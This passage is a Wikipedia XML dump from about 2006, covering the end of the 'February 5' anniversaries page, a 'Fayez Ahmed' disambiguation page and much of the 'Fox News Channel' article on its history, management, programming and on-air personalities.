*[[1846]] - ''[[The Oregon Spectator]]'' becomes the first [[newspaper]] on the [[Pacific Ocean|Pacific]] coast of the [[United States]]. 
*[[1859]] - [[Wallachia]] and [[Moldavia]] are united under [[Alexander John Cuza]] under the name [[Romania]] (see [[December 1]] [[1918]] for the final unification, [[Transylvania]] and other regions were still missing at this time).
*[[1881]] - [[Phoenix, Arizona]] is incorporated.
*[[1885]] - King [[Léopold II of Belgium]] establishes the [[Congo Free State|Congo]] as a personal possession. 
*[[1917]] - The [[1917 Constitution of Mexico|current constitution]] of [[Mexico]] is adopted, establishing a [[federal republic]] with powers separated into independent executive, legislative, and judicial branches.
*1917 - The [[Congress of the United States]] passes a [[Immigration Act of 1917|law]], over [[President]] [[Woodrow Wilson]]'s veto, banning most [[Asian]] immigration to the [[United States]].
*[[1919]] - [[Charlie Chaplin]], [[Mary Pickford]], [[Douglas Fairbanks]], and [[D.W. Griffith]] launch [[United Artists]].
*[[1922]] - [[DeWitt Wallace|DeWitt]] and [[Lila Wallace]] publish the first issue of ''[[Reader's Digest]]''.  (Some sources say [[February 7]].)
*[[1924]] - The [[Royal Greenwich Observatory]] begin broadcasting the hourly time signals known as the [[Greenwich Time Signal]] or the &quot;[[BBC pips]]&quot;.
*[[1929]] - &quot;[[They'll Do It Every Time]]&quot;, a [[comic strip]] still in syndication [[as of 2005]], debuts in a [[San Francisco]] [[newspaper]].
*[[1936]] - [[Charlie Chaplin]] releases the last ever silent movie, [[Modern Times]].  
*[[1937]] - [[President of the United States|President]] [[Franklin D. Roosevelt]] proposes a plan to enlarge the [[Supreme Court of the United States]]. 
*[[1945]] - [[World War II]]: [[General]] [[Douglas MacArthur]] returns to [[Manila]].
*[[1946]] - The [[Chondoist Chongu Party]] is founded in [[North Korea]].
*[[1953]] - The movie ''[[Peter Pan (1953 movie)|Peter Pan]]'' premieres at the [[Roxy Theatre]] in [[New York City]]. 
*[[1958]] - [[Gamel Abdel Nasser]] is nominated to be the first president of the [[United Arab Republic]].
*[[1958]] - A [[hydrogen bomb]] known as the [[Tybee Bomb]] is lost by the [[United States Air Force|US Air Force]] off the coast of [[Savannah, Georgia]], never to be recovered.
*[[1961]] - The ''[[Sunday Telegraph]]'' publishes its first issue. 
*[[1962]] - [[President of the French Republic|French President]] [[Charles de Gaulle|Charles De Gaulle]] calls for allowing [[Algeria]] to be an independent nation. 
*[[1968]] - The [[Battle of Khe Sanh]] of the [[Vietnam War]] begins.
*[[1971]] - [[Apollo 14]] lands on the [[Moon]].
*[[1972]] - [[Bob Douglas]] becomes the first [[African American]] elected to the [[Basketball Hall of Fame]].
*[[1974]] - [[John Murtha]] becomes the first [[Vietnam War]] veteran elected to the [[Congress of the United States]].
*[[1978]] - The [[Blizzard of 1978]], one of the worst [[Nor'easter]]s ever to hit [[New England]], forms.
*[[1988]] - [[Manuel Noriega]] is indicted on [[drug smuggling]] and [[money laundering]] charges.
*[[1988]] - [[Comic Relief]] hold the first &quot;[[Red Nose Day]]&quot;, which raises £15 million in the [[United Kingdom]] for [[charity]].
*[[1991]] - A [[Michigan]] court bars Dr. [[Jack Kevorkian]] from assisting in [[suicide]]s.
*[[1994]] - [[Byron De La Beckwith]] is convicted of the [[1963]] murder of [[civil rights]] leader [[Medgar Evers]]. 
*[[1997]] - The so-called [[Big Three banks]] in [[Switzerland]] announce the creation of a $71 million fund to aid [[Holocaust]] survivors and their families. 
*[[1997]] - [[Morgan Stanley]] and [[Dean Witter]] investment banks announce a $10 billion merger.
*[[1999]] - [[Mike Tyson]] is sentenced to a year's imprisonment for the [[August 31]], [[1998]] assault on two people.
*[[2001]] - [[Tom Cruise]] and [[Nicole Kidman]] announce that they have separated. 
*[[2003]] - [[2003 invasion of Iraq|U.S. plan to invade Iraq]]: [[Colin Powell]] addresses the [[UN Security Council]] on [[Iraq]].
*[[2004]] - Twenty-three [[China|Chinese]] people drown when a group of 35 [[cockle]]-pickers are trapped by rising tides in [[Morecambe Bay]], [[England]]. Twenty-one bodies are recovered.
*[[2004]] - [[Rebellion|Rebels]] from the [[National Revolutionary Front for the Liberation of Haiti|Revolutionary Artibonite Resistance Front]] capture the city of [[Gonaïves]], starting the [[2004 Haiti rebellion]].
*[[2006]] - The [[Pittsburgh Steelers]] defeat the [[Seattle Seahawks]] 21-10 in [[Super Bowl XL]].  Steelers Running Back, [[Jerome Bettis]], announces his retirement.
* [[2006]] - [[Elena Dementieva]] wins her first Tier 1 title in Tokyo [[tennis]], defeating [[Martina Hingis]],who was in her first final since her comeback from retirement in 2002. 

==Births==
*[[976]]  - [[Sanjo]], [[Emperor of Japan]] (d. [[1017]])
*[[1505]] - [[Aegidius Tschudi]], Swiss historian (d. [[1572]])
*[[1519]] - [[René of Châlon]], Prince of the House of Orange (d. [[1544]])
*[[1534]] - [[Giovanni de' Bardi]], Italian writer, composer, and soldier (d. [[1612]])
*[[1589]] - [[Esteban Manuel de Villegas]], Spanish poet (d. [[1669]])
*[[1626]] - [[Marie de Rabutin-Chantal, marquise de Sévigné]], French author (d. [[1696]])
*[[1650]] - [[Anne-Jules, 2nd duc de Noailles]], French general (d. [[1708]])
*[[1703]] - [[Gilbert Tennent]], Irish-born religious leader (d. [[1764]])
*[[1725]] - [[James Otis]], American lawyer and patriot (d. [[1783]])
*[[1788]] - [[Robert Peel]], [[Prime Minister of the United Kingdom]] (d. [[1850]])
*[[1795]] - [[Wilhelm Karl Ritter von Haidinger]], Austrian mineralogist (d. [[1871]])
*[[1804]] - [[Johan Ludvig Runeberg]], Finnish poet (d. [[1877]])
*[[1808]] - [[Carl Spitzweg]], German painter (d. [[1885]])
*[[1810]] - [[Ole Bull]], Norwegian violinist (d. [[1880]])
*[[1837]] - [[Dwight L. Moody]], American evangelist (d. [[1899]])
*[[1840]] - [[John Boyd Dunlop]], Scottish inventor (d. [[1921]])
*[[1848]] - [[Joris-Karl Huysmans]], French author (d. [[1907]])
*[[1848]] - [[Belle Starr]], American outlaw (d. [[1889]])
*[[1878]] - [[André Citroën]], French automobile pioneer (d. [[1935]])
*[[1880]] - [[Gabriel Voisin]], French aviation pioneer (d. [[1973]])
*[[1889]] - [[Ernest Tyldesley]], British cricketer (d. [[1962]])
*[[1900]] - [[Adlai Stevenson]], American politician (d. [[1965]])
*[[1906]] - [[John Carradine]], American actor (d. [[1988]])
*[[1908]] - [[Daisy and Violet Hilton]], British conjoined twin actresses (d. [[1969]])
*[[1910]] - [[Francisco Varallo]], Argentine footballer
*[[1911]] - [[Jussi Björling]], Swedish tenor (d. [[1960]])
*[[1914]] - [[William S. Burroughs]], American author (d. [[1997]])
*[[1914]] - [[Alan Lloyd Hodgkin]], British scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1998]])
*[[1915]] - [[Robert Hofstadter]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1990]])
*[[1918]] - [[Tim Holt]], American actor (d. [[1973]])
*[[1919]] - [[Red Buttons]], American actor
*[[1919]] - [[Andreas Papandreou]], Greek politician (d. [[1996]])
*[[1921]] - [[John Pritchard]], British conductor (d. [[1989]])
*[[1923]] - [[Claude King]], American musician
*[[1927]] - [[Ruth Fertel]], American entrepreneur (d. [[2002]])
*[[1928]] - [[Andrew Greeley]], American priest and novelist
*[[1929]] - [[Luc Ferrari]], French composer (d. [[2005]])
*1929 - [[Fred Sinowatz]], Austrian politician
*[[1929]] - [[Al Worthington]], baseball player
*[[1930]] - [[John A. Gambling]], American radio show host (d. [[2004]])
*[[1933]] - [[Jörn Donner]], Finnish writer, film director, producer and politician
*[[1934]] - [[Don Cherry (hockey)|Don Cherry]], Canadian NHL Hockey player and coach, and &quot;CBC's Hockey Night in Canada&quot; Commentator
*[[1934]] - [[Hank Aaron]], baseball player
*[[1937]] - [[Stuart Damon]], American actor
*[[1940]] - [[H.R. Giger]], Swiss artist
*[[1941]] - [[Jane Bryant Quinn]], American journalist
*1941 - [[David Selby]], American actor
*1941 - [[Kaspar Villiger]], Swiss Federal Councilor
*[[1942]] - [[Roger Staubach]], American football player
*[[1943]] - [[Nolan Bushnell]], American video game pioneer
*1943 - [[Michael Mann (film director)|Michael Mann]], American film director, writer, and producer
*[[1943]] - [[Craig Morton]], American football player
*[[1944]] - [[Al Kooper]], American musician
*[[1945]] - [[Charlotte Rampling]], British actress
*[[1947]] - [[Darrell Waltrip]], American race car driver
*[[1948]] - [[Christopher Guest]], American actor, writer, director, and composer
*1948 - [[Barbara Hershey]], American actress
*1948 - [[Errol Morris]], American film director
*1948 - [[V. Alexander Stefan]], American physicist, educator, and writer
*[[1949]] - [[Nigel Olsson]], drummer
*[[1952]] - [[Joseph Mullin]], Oceanographer
*[[1953]] - [[John Beilein]], American head coach of the West Virginia University men's basketball team
*[[1962]] - [[Jennifer Jason Leigh]], American actress
*[[1964]] - [[Laura Linney]], American actress
*1964 - [[Duff McKagen]], American musician ([[Guns N' Roses]])
*[[1965]] - [[Gheorghe Hagi]], Romanian footballer
*[[1966]] - [[Rok Petrovic|Rok Petrovič]], Slovenian skier (d. [[1993]])
*[[1968]] - [[Roberto Alomar]], baseball player
*[[1969]] - [[Bobby Brown]], American singer
*[[1971]] - [[Sara Evans]], American singer
*[[1972]] - [[Mary, Crown Princess of Denmark]]
*1972 - [[Koriki Choshu]], Japanese comedian
*[[1976]] - [[Tony Jaa]], Thai actor
*[[1976]] - [[Abhishek Bachchan]], Indian actor
*[[1977]] - [[Ben Ainslie]], British sailor 
*1977 - [[Ahmad Merritt]], American football player
*[[1980]] - [[Robin Vik]], [[Czech Republic|Czech]] [[tennis]] player
*[[1984]] - [[Carlos Tévez]], Argentinine footballer
*[[1985]] - [[Cristiano Ronaldo]], Portuguese footballer
*[[1986]] - [[Reed Sorenson]], [[NASCAR]] Driver
*[[1989]] - [[Jeremy Sumpter]], American actor

==Deaths==
*[[995]] - [[William IV of Aquitaine|William IV, Duke of Aquitaine]] (b. [[937]])
*[[1520]] - [[Sten Sture the Younger]], regent of Sweden (b. [[1493]])
*[[1578]] - [[Giambattista Moroni]], Italian painter
*[[1705]] - [[Philipp Jakob Spener]], German theologian (b. [[1635]])
*[[1766]] - [[Leopold Josef Graf Daun]], Austrian field marshal (b. [[1705]])
*[[1775]] - [[Eusebius Amort]], German Catholic theologian (b. [[1692]])
*[[1790]] - [[William Cullen]], Scottish physician and chemist (b. [[1710]])
*[[1807]] - [[Pasquale Paoli]], Corsican patriot and military leader (b. [[1725]])
*[[1818]] - King [[Charles XIII of Sweden]] (b. [[1748]])
*[[1881]] - [[Thomas Carlyle]], Scottish writer and historian (b. [[1795]])
*[[1915]] - [[Ross Barnes]], baseball player (b. [[1850]])
*[[1917]] - [[Jaber II Al-Sabah]], Emir of [[Kuwait]] (b. [[1860]] )
*[[1922]] - [[Slavoljub Eduard Penkala]], Croatian inventor (b. [[1871]])
*[[1922]] - [[Christiaan De Wet]], South African general
*[[1937]] - [[Lou Andreas-Salome]], Russian-born writer (b. [[1861]])
*[[1946]] - [[George Arliss]], English actor (b. [[1868]])
*[[1962]] - [[Jacques Ibert]], French composer (b. [[1890]])
*[[1966]] - [[Ludwig Binswanger]], Swiss psychiatrist (b. [[1881]])
*[[1967]] - [[L. L. Bean|Leon Leonwood Bean]], American department store founder (b. [[1872]])
*[[1970]] - [[Rudy York]], baseball player (b. [[1913]]) 
*[[1972]] - [[Marianne Moore]], American poet (b. [[1887]])
*[[1976]] - [[Rudy Pompilli]], American musician ([[Bill Haley and His Comets]]) (b. [[1926]])
*[[1977]] - [[Oskar Klein]], Swedish physicist (b. [[1894]])
*[[1981]] - [[Ella Grasso]], Governor of Connecticut (b. [[1919]])
*[[1991]] - [[Dean Jagger]], American actor (b. [[1903]])
*[[1992]] - [[Miguel Rolando Covian]], Brazilian physiologist (b. [[1913]])
*[[1993]] - [[Joseph L. Mankiewicz]], American writer, producer, and director (b. [[1909]])
*[[1995]] - [[Doug McClure]], American actor (b. [[1935]])
*[[1997]] - [[Pamela Harriman]], English-born American diplomat (b. [[1920]])
*[[1999]] - [[Wassily Leontief]], Russian economist, [[Nobel Prize in Economics|Bank of Sweden Prize]] winner (b. [[1906]])
*[[2003]] - [[Helge Boes]], American Central Intelligence Agency officer
*[[2005]] - [[Gnassingbe Eyadema]], [[President of Togo]] (b. [[1937]])
*[[2006]] - [[Norma Candal]], Puerto Rican actress and comedienne (b. [[1930]])
*2006 - [[Franklin Cover]], American actor (b. [[1928]])

==Holidays and observances==
*[[Catholicism]] - Feast day of [[St Agatha]].
*[[Kashmir|Kashmir Day]] observes as public holiday in [[Pakistan]].

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=05 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060205.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/5 BBC: On This Day]

----
[[February 4]] - [[February 6]] - [[January 5]] - [[March 5]] -- [[Historical anniversaries|listing of all days]]

{{months}}

[[Category:Days|February 05]]

[[ceb:Pebrero 5]]
[[nap:5 'e frevaro]]

[[af:5 Februarie]]
[[ar:5 فبراير]]
[[an:5 de frebero]]
[[ast:5 de febreru]]
[[bg:5 февруари]]
[[be:5 лютага]]
[[bs:5. februar]]
[[ca:5 de febrer]]
[[cv:Нарăс, 5]]
[[co:5 di frivaghju]]
[[cs:5. únor]]
[[cy:5 Chwefror]]
[[da:5. februar]]
[[de:5. Februar]]
[[et:5. veebruar]]
[[el:5 Φεβρουαρίου]]
[[es:5 de febrero]]
[[eo:5-a de februaro]]
[[eu:Otsailaren 5]]
[[fo:5. februar]]
[[fr:5 février]]
[[fy:5 febrewaris]]
[[ga:5 Feabhra]]
[[gl:5 de febreiro]]
[[ko:2월 5일]]
[[hr:5. veljače]]
[[io:5 di februaro]]
[[id:5 Februari]]
[[ia:5 de februario]]
[[is:5. febrúar]]
[[it:5 febbraio]]
[[he:5 בפברואר]]
[[jv:5 Februari]]
[[ka:5 თებერვალი]]
[[csb:5 gromicznika]]
[[ku:5'ê reşemiyê]]
[[lt:Vasario 5]]
[[lb:5. Februar]]
[[hu:Február 5]]
[[mk:5 февруари]]
[[ms:5 Februari]]
[[nl:5 februari]]
[[ja:2月5日]]
[[no:5. februar]]
[[nn:5. februar]]
[[oc:5 de febrièr]]
[[os:5 февралы]]
[[pl:5 lutego]]
[[pt:5 de Fevereiro]]
[[ro:5 februarie]]
[[ru:5 февраля]]
[[se:Guovvamánu 5.]]
[[sco:5 Februar]]
[[sq:5 Shkurt]]
[[scn:5 di frivaru]]
[[simple:February 5]]
[[sk:5. február]]
[[sl:5. februar]]
[[sr:5. фебруар]]
[[fi:5. helmikuuta]]
[[sv:5 februari]]
[[tl:Pebrero 5]]
[[tt:5. Febräl]]
[[te:ఫిబ్రవరి 5]]
[[th:5 กุมภาพันธ์]]
[[vi:5 tháng 2]]
[[tr:5 Şubat]]
[[uk:5 лютого]]
[[wa:5 di fevrî]]
[[zh:2月5日]]</text>
    </revision>
  </page>
  <page>
    <title>Fayez Ahmed</title>
    <id>11120</id>
    <revision>
      <id>15908885</id>
      <timestamp>2005-05-18T06:39:45Z</timestamp>
      <contributor>
        <username>Ragib</username>
        <id>51413</id>
      </contributor>
      <comment>Non notable person, probably self-promotion, removed</comment>
      <text xml:space="preserve">'''Fayed Ahmed''' can refer to:

*Suspected [[September 11, 2001 Terrorist Attack|9-11]] hijacker [[Fayez Banihammad]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Fox News Channel</title>
    <id>11121</id>
    <revision>
      <id>42043188</id>
      <timestamp>2006-03-03T12:01:45Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Infobox Network |
network_name =  Fox News Channel|
network_logo =  [[Image:FNC logo.png]]|
country      =  [[United States]]|
network_type =  [[Cable television|Cable]] [[television network]]|
available    =  [[United States]] and others; see [[Fox News Channel#International transmission|&quot;International transmission&quot;]] section below for other availability|
slogan       =  &quot;We Report, You Decide&quot;, &quot;[[Fair and Balanced]]&quot;|
owner        =  [[News Corporation]]|
key_people   =  [[Roger Ailes]], Chairman &amp; [[Chief Executive Officer|CEO]]|
launch_date  =  [[October 7]], [[1996]]|
website      =  [http://foxnews.com foxnews.com]|
}}
The '''Fox News Channel''' is a popular [[United States|U.S.]] [[cable television|cable]] and [[satellite television|satellite]] [[news]] channel. It is owned by the [[Fox Entertainment Group]], and is a [[subsidiary]] of [[News Corporation]], under major [[shareholder]] and [[chief executive officer]] [[Rupert Murdoch]]. As of January [[2005]], it is available to 85 million subscribers in the U.S. and to further viewers internationally, broadcasting primarily out of its [[New York City]] studios. An audio simulcast of the channel is played on [[XM Satellite Radio]] channel 121. XM also provides [[Fox News Talk]] for talk radio programs syndicated by and featuring Fox News personalities.

The network was launched on [[October 7]], [[1996]] to 17 million cable subscribers. The network quickly rose to prominence in the late 1990s as it started taking market share away from competitor [[CNN]]. [[As of 2005]], Fox News' ratings exceeds those of competing news channels for long-term viewers ([[Nielsen Ratings|Nielsen's]] Points ratings), although [[CNN]] outnumbers Fox News in terms of numbers of individual viewers (Nielsen's Cume ratings).

==History==
[[image:IraqWarCoverage-FNC.jpg|thumb|Fox News Channel Iraq war coverage]]
&lt;!-- This part of the article needs to be expanded --&gt;
Rupert Murdoch established Fox News to counter a news media that he believed was predominantly liberal.{{ref|ruplib}}  Murdoch had significant experience with cable news after starting the [[Sky News]] rolling news service in the [[United Kingdom]].  

In February [[1996]], after [[Roger Ailes]] (who would later be the president of Fox News) was relieved of duties at [[America's Talking]], in preparation for conversion of the network to [[MSNBC]], Murdoch called Ailes to start the network. A group of Ailes loyalists who followed him throughout the [[NBC]] empire joined him at Fox. From there, the CNBC expatriates, who joined a team already in place at Fox News, created the programming concept and proceeded to select space in New York. Ailes worked individuals, often agitated and verbally abusive, through five months of grueling 14 hour workdays and several weeks of rehearsal shows before launch, on [[October 7]], [[1996]].  

At launch, only ten million households were able to watch Fox News, with none in the major media markets of [[New York City]] and [[Los Angeles]].  According to published reports, many media reviewers had to watch the first day's programming at Fox News studios because it wasn't readily available. The rolling news coverage during the day consisted of 20 minute single topic shows like ''[[Fox on Crime]]'' or ''[[Fox on Politics]]'' surrounded by news [[headlines]].  Interviews had various interesting facts at the bottom of the screen about the topic or the guest.  The flagship newscast at the time was called ''The Schenider Report'', with Mike Schneider giving a fast paced delivery of the news.  During the evening, Fox had opinion shows: ''[[The O'Reilly Factor]]'' (then called ''[[The O'Reilly Report]]''), ''The Crier Report'' hosted by [[Catherine Crier]], and [[Hannity &amp; Colmes]]. From the beginning, FNC has also had a number of different slogans it included in daily broadcasts including: &quot;America's Newsroom&quot;, &quot;The Most Powerful Name in News&quot;, &quot;FOX Means Business&quot;, &quot;[[Fair and Balanced]]&quot;, and &quot;We Report, You Decide&quot;

[[image:foxnewsalert.png|left|thumb|''Fox News'' Alert title card]]From the beginning, Fox News has had a heavy emphasis on the visual presentation of news. Graphics were designed to be colorful and attention grabbing, and to allow people to get the main points of what was being said even if they couldn't hear the host, through the use of on-screen text summarizing the position of the interviewer or speaker, and &quot;bullet points&quot; when a host was giving commentary. The network differentiated commentary from interviews with a constant graphic reading &quot;COMMENTARY&quot; during features such as Bill O'Reilly's ''Talking Points Memo''. Fox News also created the ''Fox News Alert'', which interrupted regular programming when a breaking news story occurred. Each ''News Alert'' was designed to be attention catching with a swooshing graphic filling the screen and a piercing chime instead of the regular news music. At the beginning of FNC, the ''Fox News Alert'' was used fairly rarely, giving the chime more cachet, but currently it is used regularly to announce scheduled events or repeat existing news instead of only breaking news stories, with ''Fox News Alerts'' sometimes several times each hour instead of just a few times a day. Fox News was also the first network to put up the American flag after the [[September 11, 2001 terrorist attacks]], a feature in the upper left hand corner that has persisted to this day.

To get cable systems to take Fox News, the channel paid systems up to $11 per subscriber in subsidy to take up the network, in a move common to newly launched cable channels. This contrasted with the normal practice, in which cable operators pay stations carriage fees for the programming of channels. When Time Warner bought out [[Ted Turner]]'s [[Turner Broadcasting]], a federal [[antitrust]] [[consent decree]] required Time Warner to carry a second all-news channel in addition to Time Warner's own [[CNN]]. Time Warner selected MSNBC as the secondary news network, instead of Fox News. Fox News claimed that this violated an agreement to carry Fox News, and Ailes used his connections to persuade Mayor Giuliani to carry Fox News and [[Bloomberg Television]] on two underutilized city-owned cable channels, which he did.

New York City also threatened to revoke Time Warner's cable [[exclusive right|franchise]] for not carrying Fox News. A lawsuit was filed by Time Warner against the City of New York claiming undue interference and for inappropriate use of the city's educational channels for commercial programming. News Corporation countered with an antitrust lawsuit against Time Warner for unfairly protecting CNN. This led to an acrominous battle between Murdoch and Turner, with Turner publicly comparing Murdoch to [[Adolf Hitler]] while Murdoch's ''[[New York Post]]'' ran an editorial questioning Turner's sanity. Giuliani's motives were also questioned, as his then-wife was a producer at Murdoch-owned [[WNYW-TV]]. In the end, Time Warner and News Corporation signed a [[settlement (law)|settlement]] agreement to permit Fox News to be carried on New York City cable system beginning in October [[1997]], and to all of Time Warner's cable systems by [[2001]]. In return, Time Warner was given some rights to News Corporation's [[satellite]]s in Asia and Europe to distribute Time Warner programming, would receive the normal compensation per subscriber paid to cable operators, and News Corporation would not object to [[Atlanta Braves]] baseball games being carried on [[TBS (TV network)|TBS]] (which normally would not happen because of the Fox television network's contract with [[Major League Baseball]]).

==Management==
The [[CEO]], [[Chairman of the Board|Chairman]], and [[President]] of Fox News is Roger Ailes. After he began his career in broadcasting, Ailes started [[Ailes Communications, Inc]] and was successful as a political strategist for Presidents [[Richard Nixon|Nixon]] and [[Ronald Reagan|Reagan]] and in producing campaign TV commercials for [[United States Republican Party|Republican]] political candidates. His work for former President Richard M. Nixon was chronicled in the book ''[[The Selling of the President: 1968]]'' by [[Joe McGinniss]]. Ailes withdrew from consulting and returned to broadcasting in [[1992]], including [[Rush Limbaugh]]'s [[television program]] during [[1992]]-[[1996]]. He ran the [[CNBC]] channel and ''America's Talking,'' the forerunner of MSNBC for NBC. More recently, Ailes was named ''Broadcaster of the Year'' by [[Broadcast and Cable Magazine]] in 2003.

==Programming==
Fox News presents a wide variety of programming, with up to 15 hours of live programming per day. Most of the programs are broadcast from Fox News headquarters in New York City with its street-side studios on Sixth Avenue (1211 [[Avenue of the Americas]]) in the west extension of [[Rockefeller Center]].

The following is the usual weekday lineup ([[as of 2005|as of Jan. 2005]], all times [[Eastern Standard Time Zone|Eastern]]):

* 6 a.m.: Morning programming begins with ''[[Fox &amp; Friends|Fox &amp; Friends 1st]]'', hosted by one or more of the ''Fox &amp; Friends'' hosts with rotating co-hosts [[Kiran Chetry]], [[Lauren Green]], [[Juliet Huddy]], [[Andrew Napolitano|Andrew P. Napolitano]] and others.
* 7 a.m.: ''[[Fox &amp; Friends]]'', hosted by [[Steve Doocy]], [[E.D. Hill]] and [[Brian Kilmeade]], is similar to other cable news network programming in the mornings, such as CNN's ''[[American Morning]]'' with [[Miles O'Brien (journalist)|Miles O'Brien]] and [[Soledad O'Brien]] and [[MSNBC]]'s ''[[Imus in the Morning]]''.
* 9 a.m.: Late morning and early afternoon programming starts with ''[[Fox News Live]]'', a show featuring news, guest analysis, and interviews. Like other American cable news stations, there is news mixed with feature-like stories, as well as commentary and short [[debates]] between people on opposite sides of issues, usually between associates of candidates and officials, [[think tank]] members and journalists. Usually hosted by [[Jon Scott]], [[Brigitte Quinn]] and [[Bill Hemmer]].
* 1 p.m.: [[Juliet Huddy]] and [[Mike Jerrick]]'s talk show with a live audience, ''[[Dayside]]''.
* 2 p.m.: Another hour of ''[[Fox News Live]]'' hosted by [[Martha MacCallum]].
* 3 p.m.: [[Shepard Smith]]'s news program, ''[[Studio B]]''.
* 4 p.m.: Fox's flagship business program, ''[[Your World with Neil Cavuto|Your World]]'', hosted by [[Neil Cavuto]].
* 5 p.m.: [[John Gibson (media host)|John Gibson]] hosts ''[[The Big Story (television program)|The Big Story]]'', a news/commentary program.
* 6 p.m.: [[Primetime]] starts with the political news and discussion show ''[[Special Report with Brit Hume]]'', hosted by political reporter [[Brit Hume]] from [[Washington, DC]].
* 7 p.m.: Shepard Smith broadcasts ''The [[Fox Report]] With Shepard Smith'', FNC's evening news program (similar to programs offered on [[World News Tonight|ABC]], [[CBS Evening News|CBS]], and [[NBC Nightly News|NBC]]), offering coverage of national and international news, and FOXCAST weather.
* 8 p.m.: The network's top-rated show, ''[[The O'Reilly Factor]]''. The taped broadcast features commentary from [[Bill O'Reilly (journalist)|Bill O'Reilly]], formerly of ''[[Inside Edition]]'' fame.
* 9 p.m.: [[american conservatism|Conservative]] [[Sean Hannity]] and [[liberalism in the United States|liberal]] [[Alan Colmes]] debate political issues of the day with guests and analysts during ''[[Hannity &amp; Colmes]]''.
* 10 p.m.: [[Greta Van Susteren]] broadcasts ''[[On the Record with Greta Van Susteren|On the Record]] with Greta Van Susteren''. This program has an emphasis on stories pertaining to legal matters or human interest.
* 11 p.m.: Reruns of previous programs are shown until 6 a.m. the next day.

In addition to the regular weekday programming, FNC also has weekend programming including ''[[Fox &amp; Friends]]'', ''&quot;[[The Cost Of Freedom]]&quot;'' business block, ''[[Weekend Live]] with [[Tony Snow]] (Saturday)/[[Brian Wilson (journalist)|Brian Wilson]] (Sunday)'', ''[[Fox News Live]] with [[Jamie Colby]]'', ''[[Studio B]] with [[Trace Gallagher]]'', ''[[The Big Story]] Weekend with [[Julie Banderas]]'', ''[[The Beltway Boys]]'', ''[[Fox News Watch]]'', ''[[Fox Report]] with [[Trace Gallagher]]'', ''[[War Stories with Oliver North]]'', ''[[Heartland with John Kasich]]'', ''[[The Lineup]]'', ''[[The Big Story]] Weekend'', and ''[[The Journal Editorial Report]]''.

Fox News also produced several [[newsmagazine]] shows for its Fox affiliates including ''Fox Files'' and ''The Pulse'', although both were cancelled after short runs due to poor ratings.

''[[Fox News Sunday]]'' currently airs on many Fox affiliates and is similar in format to other Sunday morning political discussion programs, and is rebroadcast on FNC at 6 p.m. ET Sundays.

==Fox News Radio==
[[Image:Ads_foxnews_radio.gif|thumb]] 

In [[2003]], Fox News began syndicating one minute radio updates to radio stations.  On June 1, 2005, ''[[Fox News Radio]]'' expanded to a full service news operation, employing sixty people and providing five minute newscasts at the top of the hour and one minute newscast at the bottom of the hour.  ''[[Fox News Radio]]'' is hosted by both FNC television personalities and others working solely for radio. At launch, sixty stations participated in the network, with more joining under a deal struck between Fox and [[Clear Channel Communications]] converting many Clear Channel stations to carry Fox News Radio newscasts and allow Fox News Radio to use news content produced by Clear Channel and distribute it nationally.

==Personalities ==
{|
|- valign =&quot;top&quot;
|
*[[Alicia Acuna]]
*[[Jim Angle]]
*[[David Asman (Documentary Head at Fox News)|David Asman]]
*[[Rudi Bakhtiar]]
*[[Julie Banderas]]
*[[Fred Barnes (journalist)|Fred Barnes]]
*[[Bret Baier]]
*[[Lisa Bernhard]]
*[[Patti Ann Browne]]
*[[Eric Burns (journalist)|Eric Burns]]
*[[Brenda Buttner]]
*[[Gretchen Carlson]]
*[[Alyson Camerota]]
*[[Carl Cameron]]
*[[Neil Cavuto]]
*[[Kiran Chetry]]
*[[Jamie Colby]]
*[[Alan Colmes]]
*[[Janice Dean]]
*[[Laurie Dhue]]
*[[Steve Doocy]]
*[[Donna Fiducia]]
|
*[[David Folk Thomas]]
*[[Trace Gallagher]]
*[[John Gibson (media host)|John Gibson]]
*[[Wendell Goler]]
*[[Rebecca Gomez]]
*[[Lauren Green]]
*[[Jennifer Griffin]]
*[[Kimberly Guilfoyle Newsom| Kimberly Guilfoyle]]
*[[Sean Hannity]]
*[[Ellis Henican]]
*[[Molly Henneberg]]
*[[Catherine Herridge]]
*[[Bill Hemmer]]
*[[E.D. Hill]]
*[[Page Hopkins]]
*[[Juliet Huddy]]
*[[Brit Hume]]
*[[Carol Iovanna]]
*[[Alireza Jafarzadeh]]
*[[Greg Jarrett]]
*[[Mike Jerrick]]
*[[Marvin Kalb]]
|
*[[John Kasich]]
*[[Terry Keenan]]
*[[Amy Kellogg]]
*[[Greg Kelly]]
*[[Megyn Kendall]]
*[[Brian Kilmeade]]
*[[Mort Kondracke]]
*[[Charles Krauthammer]]
*[[Rick Leventhal]]
*[[Mara Liasson]]
*[[Martha MacCallum]]
*[[Michelle Malkin]]
*[[Bill McCuddy]]
*[[Dagen McDowell]]
*[[Carol McKinley]]
*[[Andrew Napolitano]]
*[[Oliver North]]
*[[Robert Novak]]
*[[Bill O'Reilly (journalist)|Bill O'Reilly]]
*[[Uma Pemmeraju]]
*[[James Pinkerton]]
*[[Brigitte Quinn]]
|
*[[Geraldo Rivera]]
*[[Jon Scott]]
*[[Eric Shawn]]
*[[Jane Skinner]]
*[[Shepard Smith]]
*[[Tony Snow]]
*[[Liz Trotta]]
*[[Cal Thomas]]
*[[Greta Van Susteren]]
*[[Stuart Varney]]
*[[Linda Vester]]
*[[Anita Vogel]]
*[[Chris Wallace (journalist)|Chris Wallace]]
*[[Lis Wiehl]]
*[[Juan Williams]]
*[[Brian Wilson (journalist)|Brian Wilson]]
*[[Dr. Georgia Witkin]]
*[[Kelly Wright]]
|}

=== Regular guests &amp; contributors ===
*[[Ann Coulter]]
*[[Bob Beckel]]
*[[Charles Payne]]
*[[Dr. Manny Alvarez]]
*[[Dr. Michael Baden|Michael Baden]]
*[[Dr. Isadore Rosenfeld]]
*[[Ellis Henican]]
*[[Geraldine Ferraro]]
*[[Gary Kaltbaum]]
*[[Gary B. Smith]]
*[[Jonathan Hoenig]]
*[[Michael Reagan]]
*[[Mansoor Ijaz]]
*[[Mancow Muller]]
*[[Michelle Malkin]]
